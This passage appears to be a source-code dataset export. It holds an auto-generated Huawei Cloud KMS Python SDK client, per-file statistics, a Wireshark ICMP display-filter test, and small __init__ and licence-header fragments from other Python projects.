:param EncryptDatakeyRequest request
:return: EncryptDatakeyResponse
"""
return self.encrypt_datakey_with_http_info(request)
def encrypt_datakey_with_http_info(self, request):
"""加密数据密钥
- 功能介绍：加密数据密钥，用指定的主密钥加密数据密钥。
:param EncryptDatakeyRequest request
:return: EncryptDatakeyResponse
"""
all_params = ['version_id', 'encrypt_datakey_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/encrypt-datakey',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='EncryptDatakeyResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def import_key_material(self, request):
"""导入密钥材料
- 功能介绍：导入密钥材料。
:param ImportKeyMaterialRequest request
:return: ImportKeyMaterialResponse
"""
return self.import_key_material_with_http_info(request)
def import_key_material_with_http_info(self, request):
"""导入密钥材料
- 功能介绍：导入密钥材料。
:param ImportKeyMaterialRequest request
:return: ImportKeyMaterialResponse
"""
all_params = ['version_id', 'import_key_material_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/import-key-material',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ImportKeyMaterialResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def list_grants(self, request):
"""查询授权列表
- 功能介绍：查询密钥的授权列表。
:param ListGrantsRequest request
:return: ListGrantsResponse
"""
return self.list_grants_with_http_info(request)
def list_grants_with_http_info(self, request):
"""查询授权列表
- 功能介绍：查询密钥的授权列表。
:param ListGrantsRequest request
:return: ListGrantsResponse
"""
all_params = ['version_id', 'list_grants_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/list-grants',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ListGrantsResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def list_key_detail(self, request):
"""查询密钥信息
- 功能介绍：查询密钥详细信息。
:param ListKeyDetailRequest request
:return: ListKeyDetailResponse
"""
return self.list_key_detail_with_http_info(request)
def list_key_detail_with_http_info(self, request):
"""查询密钥信息
- 功能介绍：查询密钥详细信息。
:param ListKeyDetailRequest request
:return: ListKeyDetailResponse
"""
all_params = ['version_id', 'list_key_detail_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/describe-key',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ListKeyDetailResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def list_keys(self, request):
"""查询密钥列表
- 功能介绍：查询用户所有密钥列表。
:param ListKeysRequest request
:return: ListKeysResponse
"""
return self.list_keys_with_http_info(request)
def list_keys_with_http_info(self, request):
"""查询密钥列表
- 功能介绍：查询用户所有密钥列表。
:param ListKeysRequest request
:return: ListKeysResponse
"""
all_params = ['version_id', 'list_keys_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/list-keys',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ListKeysResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def list_kms_by_tags(self, request):
"""查询密钥实例
- 功能介绍：查询密钥实例。通过标签过滤，查询指定用户主密钥的详细信息。
:param ListKmsByTagsRequest request
:return: ListKmsByTagsResponse
"""
return self.list_kms_by_tags_with_http_info(request)
def list_kms_by_tags_with_http_info(self, request):
"""查询密钥实例
- 功能介绍：查询密钥实例。通过标签过滤，查询指定用户主密钥的详细信息。
:param ListKmsByTagsRequest request
:return: ListKmsByTagsResponse
"""
all_params = ['resource_instances', 'version_id', 'list_kms_by_tags_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'resource_instances' in local_var_params:
path_params['resource_instances'] = local_var_params['resource_instances']
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/{resource_instances}/action',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ListKmsByTagsResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def list_kms_tags(self, request):
"""查询项目标签
- 功能介绍：查询用户在指定项目下的所有标签集合。
:param ListKmsTagsRequest request
:return: ListKmsTagsResponse
"""
return self.list_kms_tags_with_http_info(request)
def list_kms_tags_with_http_info(self, request):
"""查询项目标签
- 功能介绍：查询用户在指定项目下的所有标签集合。
:param ListKmsTagsRequest request
:return: ListKmsTagsResponse
"""
all_params = ['version_id']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/tags',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ListKmsTagsResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def list_retirable_grants(self, request):
"""查询可退役授权列表
- 功能介绍：查询用户可以退役的授权列表。
:param ListRetirableGrantsRequest request
:return: ListRetirableGrantsResponse
"""
return self.list_retirable_grants_with_http_info(request)
def list_retirable_grants_with_http_info(self, request):
"""查询可退役授权列表
- 功能介绍：查询用户可以退役的授权列表。
:param ListRetirableGrantsRequest request
:return: ListRetirableGrantsResponse
"""
all_params = ['version_id', 'list_retirable_grants_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/list-retirable-grants',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ListRetirableGrantsResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_key_rotation_status(self, request):
"""查询密钥轮换状态
- 功能介绍：查询用户主密钥轮换状态。
:param ShowKeyRotationStatusRequest request
:return: ShowKeyRotationStatusResponse
"""
return self.show_key_rotation_status_with_http_info(request)
def show_key_rotation_status_with_http_info(self, request):
"""查询密钥轮换状态
- 功能介绍：查询用户主密钥轮换状态。
:param ShowKeyRotationStatusRequest request
:return: ShowKeyRotationStatusResponse
"""
all_params = ['version_id', 'show_key_rotation_status_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/get-key-rotation-status',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowKeyRotationStatusResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_kms_tags(self, request):
"""查询密钥标签
- 功能介绍：查询密钥标签。
:param ShowKmsTagsRequest request
:return: ShowKmsTagsResponse
"""
return self.show_kms_tags_with_http_info(request)
def show_kms_tags_with_http_info(self, request):
"""查询密钥标签
- 功能介绍：查询密钥标签。
:param ShowKmsTagsRequest request
:return: ShowKmsTagsResponse
"""
all_params = ['version_id', 'key_id']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
if 'key_id' in local_var_params:
path_params['key_id'] = local_var_params['key_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/{key_id}/tags',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowKmsTagsResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_user_instances(self, request):
"""查询实例数
- 功能介绍：查询实例数，获取用户已经创建的用户主密钥数量。
:param ShowUserInstancesRequest request
:return: ShowUserInstancesResponse
"""
return self.show_user_instances_with_http_info(request)
def show_user_instances_with_http_info(self, request):
"""查询实例数
- 功能介绍：查询实例数，获取用户已经创建的用户主密钥数量。
:param ShowUserInstancesRequest request
:return: ShowUserInstancesResponse
"""
all_params = ['version_id']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/user-instances',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowUserInstancesResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_user_quotas(self, request):
"""查询配额
- 功能介绍：查询配额，查询用户可以创建的用户主密钥配额总数及当前使用量信息。
:param ShowUserQuotasRequest request
:return: ShowUserQuotasResponse
"""
return self.show_user_quotas_with_http_info(request)
def show_user_quotas_with_http_info(self, request):
"""查询配额
- 功能介绍：查询配额，查询用户可以创建的用户主密钥配额总数及当前使用量信息。
:param ShowUserQuotasRequest request
:return: ShowUserQuotasResponse
"""
all_params = ['version_id']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/user-quotas',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowUserQuotasResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def update_key_alias(self, request):
"""修改密钥别名
- 功能介绍：修改用户主密钥别名。 - 说明： - 服务默认主密钥（密钥别名后缀为“/default”）不可以修改。 - 密钥处于“计划删除”状态，密钥别名不可以修改。
:param UpdateKeyAliasRequest request
:return: UpdateKeyAliasResponse
"""
return self.update_key_alias_with_http_info(request)
def update_key_alias_with_http_info(self, request):
"""修改密钥别名
- 功能介绍：修改用户主密钥别名。 - 说明： - 服务默认主密钥（密钥别名后缀为“/default”）不可以修改。 - 密钥处于“计划删除”状态，密钥别名不可以修改。
:param UpdateKeyAliasRequest request
:return: UpdateKeyAliasResponse
"""
all_params = ['version_id', 'update_key_alias_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/update-key-alias',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='UpdateKeyAliasResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def update_key_description(self, request):
"""修改密钥描述
- 功能介绍：修改用户主密钥描述信息。 - 说明： - 服务默认主密钥（密钥别名后缀为“/default”）不可以修改。 - 密钥处于“计划删除”状态，密钥描述不可以修改。
:param UpdateKeyDescriptionRequest request
:return: UpdateKeyDescriptionResponse
"""
return self.update_key_description_with_http_info(request)
def update_key_description_with_http_info(self, request):
"""修改密钥描述
- 功能介绍：修改用户主密钥描述信息。 - 说明： - 服务默认主密钥（密钥别名后缀为“/default”）不可以修改。 - 密钥处于“计划删除”状态，密钥描述不可以修改。
:param UpdateKeyDescriptionRequest request
:return: UpdateKeyDescriptionResponse
"""
all_params = ['version_id', 'update_key_description_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/update-key-description',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='UpdateKeyDescriptionResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def update_key_rotation_interval(self, request):
"""修改密钥轮换周期
- 功能介绍：修改用户主密钥轮换周期。
:param UpdateKeyRotationIntervalRequest request
:return: UpdateKeyRotationIntervalResponse
"""
return self.update_key_rotation_interval_with_http_info(request)
def update_key_rotation_interval_with_http_info(self, request):
"""修改密钥轮换周期
- 功能介绍：修改用户主密钥轮换周期。
:param UpdateKeyRotationIntervalRequest request
:return: UpdateKeyRotationIntervalResponse
"""
all_params = ['version_id', 'update_key_rotation_interval_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json;charset=UTF-8'])
auth_settings = []
return self.call_api(
resource_path='/{version_id}/{project_id}/kms/update-key-rotation-interval',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='UpdateKeyRotationIntervalResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_version(self, request):
"""查询指定版本信息
- 功能介绍：查指定API版本信息。
:param ShowVersionRequest request
:return: ShowVersionResponse
"""
return self.show_version_with_http_info(request)
def show_version_with_http_info(self, request):
"""查询指定版本信息
- 功能介绍：查指定API版本信息。
:param ShowVersionRequest request
:return: ShowVersionResponse
"""
all_params = ['version_id']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'version_id' in local_var_params:
path_params['version_id'] = local_var_params['version_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
auth_settings = []
return self.call_api(
resource_path='/{version_id}',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowVersionResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def show_versions(self, request):
"""查询版本信息列表
- 功能介绍：查询API版本信息列表。
:param ShowVersionsRequest request
:return: ShowVersionsResponse
"""
return self.show_versions_with_http_info(request)
def show_versions_with_http_info(self, request):
"""查询版本信息列表
- 功能介绍：查询API版本信息列表。
:param ShowVersionsRequest request
:return: ShowVersionsResponse
"""
all_params = []
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = {}
body_params = None
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
auth_settings = []
return self.call_api(
resource_path='/',
method='GET',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='ShowVersionsResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def call_api(self, resource_path, method, path_params=None, query_params=None, header_params=None, body=None,
post_params=None, response_type=None, response_headers=None, auth_settings=None,
collection_formats=None, request_type=None):
"""Makes the HTTP request and returns deserialized data.
:param resource_path: Path to method endpoint.
:param method: Method to call.
:param path_params: Path parameters in the url.
:param query_params: Query parameters in the url.
:param header_params: Header parameters to be placed in the request header.
:param body: Request body.
:param post_params dict: Request post form parameters,
for `application/x-www-form-urlencoded`, `multipart/form-data`.
:param auth_settings list: Auth Settings names for the request.
:param response_type: Response data type.
:param response_headers: Header should be added to response data.
:param collection_formats: dict of collection formats for path, query,
header, and post parameters.
:param request_type: Request data type.
:return:
Return the response directly.
"""
return self.do_http_request(
method=method,
resource_path=resource_path,
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body,
post_params=post_params,
response_type=response_type,
response_headers=response_headers,
collection_formats=collection_formats,
request_type=request_type)
| 30.375346
| 253
| 0.622294
| 7,707
| 76,880
| 5.810692
| 0.049695
| 0.040015
| 0.070027
| 0.039546
| 0.915816
| 0.898823
| 0.868723
| 0.842463
| 0.840989
| 0.840989
| 0
| 0.001356
| 0.289932
| 76,880
| 2,530
| 254
| 30.387352
| 0.818996
| 0.136316
| 0
| 0.814815
| 0
| 0
| 0.109889
| 0.065655
| 0
| 0
| 0
| 0
| 0
| 1
| 0.055206
| false
| 0
| 0.019567
| 0.000699
| 0.131377
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
8ceeb0df915a390af7f43bc332adf3bd3ab63532
| 2,035
|
py
|
Python
|
resources/Wireshark/WiresharkDissectorFoo/test/suite_dfilter/group_double.py
|
joshis1/C_Programming
|
4a8003321251448a167bfca0b595c5eeab88608d
|
[
"MIT"
] | 2
|
2020-09-11T05:51:42.000Z
|
2020-12-31T11:42:02.000Z
|
resources/Wireshark/WiresharkDissectorFoo/test/suite_dfilter/group_double.py
|
joshis1/C_Programming
|
4a8003321251448a167bfca0b595c5eeab88608d
|
[
"MIT"
] | null | null | null |
resources/Wireshark/WiresharkDissectorFoo/test/suite_dfilter/group_double.py
|
joshis1/C_Programming
|
4a8003321251448a167bfca0b595c5eeab88608d
|
[
"MIT"
] | null | null | null |
# Copyright (c) 2013 by Gilbert Ramirez <gram@alumni.rice.edu>
#
# SPDX-License-Identifier: GPL-2.0-or-later
import unittest
import fixtures
from suite_dfilter.dfiltertest import *
@fixtures.uses_fixtures
class case_double(unittest.TestCase):
trace_file = "icmp.pcapng.gz"
def test_eq_1(self, checkDFilterCount):
dfilter = "icmp.resptime == 492.204"
checkDFilterCount(dfilter, 1)
def test_eq_2(self, checkDFilterCount):
dfilter = "icmp.resptime == 492.205"
checkDFilterCount(dfilter, 0)
def test_gt_1(self, checkDFilterCount):
dfilter = "icmp.resptime > 492"
checkDFilterCount(dfilter, 1)
def test_gt_2(self, checkDFilterCount):
dfilter = "icmp.resptime > 492.203"
checkDFilterCount(dfilter, 1)
def test_gt_3(self, checkDFilterCount):
dfilter = "icmp.resptime > 493"
checkDFilterCount(dfilter, 0)
def test_ge_1(self, checkDFilterCount):
dfilter = "icmp.resptime >= 493"
checkDFilterCount(dfilter, 0)
def test_ge_2(self, checkDFilterCount):
dfilter = "icmp.resptime >= 492"
checkDFilterCount(dfilter, 1)
def test_ge_3(self, checkDFilterCount):
dfilter = "icmp.resptime >= 492.204"
checkDFilterCount(dfilter, 1)
def test_lt_1(self, checkDFilterCount):
dfilter = "icmp.resptime < 493"
checkDFilterCount(dfilter, 1)
def test_lt_2(self, checkDFilterCount):
dfilter = "icmp.resptime < 492"
checkDFilterCount(dfilter, 0)
def test_lt_3(self, checkDFilterCount):
dfilter = "icmp.resptime < 492.204"
checkDFilterCount(dfilter, 0)
def test_le_1(self, checkDFilterCount):
dfilter = "icmp.resptime <= 492.204"
checkDFilterCount(dfilter, 1)
def test_le_2(self, checkDFilterCount):
dfilter = "icmp.resptime <= 493"
checkDFilterCount(dfilter, 1)
def test_le_3(self, checkDFilterCount):
dfilter = "icmp.resptime <= 492"
checkDFilterCount(dfilter, 0)
| 29.071429
| 62
| 0.665848
| 228
| 2,035
| 5.802632
| 0.22807
| 0.507937
| 0.296296
| 0.338624
| 0.820106
| 0.784581
| 0.749811
| 0.681784
| 0.681784
| 0.575964
| 0
| 0.059987
| 0.229975
| 2,035
| 69
| 63
| 29.492754
| 0.784301
| 0.050123
| 0
| 0.291667
| 0
| 0
| 0.161742
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.291667
| false
| 0
| 0.0625
| 0
| 0.395833
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5073639ccd2192d6c32c3dcc31b462e27c78f9a8
| 191
|
py
|
Python
|
bip_utils/bip/bip38/__init__.py
|
MIPPLTeam/bip_utils
|
c66446e7ac3879d2cf6308c5b8eb7f7705292660
|
[
"MIT"
] | null | null | null |
bip_utils/bip/bip38/__init__.py
|
MIPPLTeam/bip_utils
|
c66446e7ac3879d2cf6308c5b8eb7f7705292660
|
[
"MIT"
] | null | null | null |
bip_utils/bip/bip38/__init__.py
|
MIPPLTeam/bip_utils
|
c66446e7ac3879d2cf6308c5b8eb7f7705292660
|
[
"MIT"
] | null | null | null |
from bip_utils.bip.bip38.bip38_addr import Bip38PubKeyModes
from bip_utils.bip.bip38.bip38_ec import Bip38EcKeysGenerator
from bip_utils.bip.bip38.bip38 import Bip38Decrypter, Bip38Encrypter
| 47.75
| 68
| 0.879581
| 27
| 191
| 6.037037
| 0.407407
| 0.128834
| 0.220859
| 0.276074
| 0.460123
| 0.460123
| 0
| 0
| 0
| 0
| 0
| 0.11236
| 0.068063
| 191
| 3
| 69
| 63.666667
| 0.803371
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
508bd158d40f1ab1ffec710b39e4393646995e94
| 413
|
py
|
Python
|
etl_day_ahead_forecasting/pipeline/_defined/__init__.py
|
KamilMaziarz/etl-day-ahead-forecasting
|
e709336c2bc381b9909076fcc9d4dd6e81a74b72
|
[
"MIT"
] | null | null | null |
etl_day_ahead_forecasting/pipeline/_defined/__init__.py
|
KamilMaziarz/etl-day-ahead-forecasting
|
e709336c2bc381b9909076fcc9d4dd6e81a74b72
|
[
"MIT"
] | null | null | null |
etl_day_ahead_forecasting/pipeline/_defined/__init__.py
|
KamilMaziarz/etl-day-ahead-forecasting
|
e709336c2bc381b9909076fcc9d4dd6e81a74b72
|
[
"MIT"
] | null | null | null |
from .pse import (
cross_border_pipeline,
eua_price_pipeline,
renewables_generation_pipeline,
system_operation_data_pipeline,
units_generation_pipeline,
units_outages_pipeline,
)
__all__ = [
'cross_border_pipeline',
'eua_price_pipeline',
'renewables_generation_pipeline',
'system_operation_data_pipeline',
'units_generation_pipeline',
'units_outages_pipeline',
]
| 21.736842
| 37
| 0.755448
| 42
| 413
| 6.714286
| 0.380952
| 0.255319
| 0.134752
| 0.156028
| 0.943262
| 0.943262
| 0.943262
| 0.943262
| 0.943262
| 0.943262
| 0
| 0
| 0.171913
| 413
| 18
| 38
| 22.944444
| 0.824561
| 0
| 0
| 0
| 0
| 0
| 0.353511
| 0.309927
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.0625
| 0
| 0.0625
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
50c47be331aa345947a2ec749a5bc435b76ae234
| 23,635
|
py
|
Python
|
idaes/core/tests/test_components.py
|
dangunter/idaes-pse
|
8f63b4ad8000af8a3eb0316a5f61c32e206925d0
|
[
"RSA-MD"
] | null | null | null |
idaes/core/tests/test_components.py
|
dangunter/idaes-pse
|
8f63b4ad8000af8a3eb0316a5f61c32e206925d0
|
[
"RSA-MD"
] | null | null | null |
idaes/core/tests/test_components.py
|
dangunter/idaes-pse
|
8f63b4ad8000af8a3eb0316a5f61c32e206925d0
|
[
"RSA-MD"
] | null | null | null |
#################################################################################
# The Institute for the Design of Advanced Energy Systems Integrated Platform
# Framework (IDAES IP) was produced under the DOE Institute for the
# Design of Advanced Energy Systems (IDAES), and is copyright (c) 2018-2021
# by the software owners: The Regents of the University of California, through
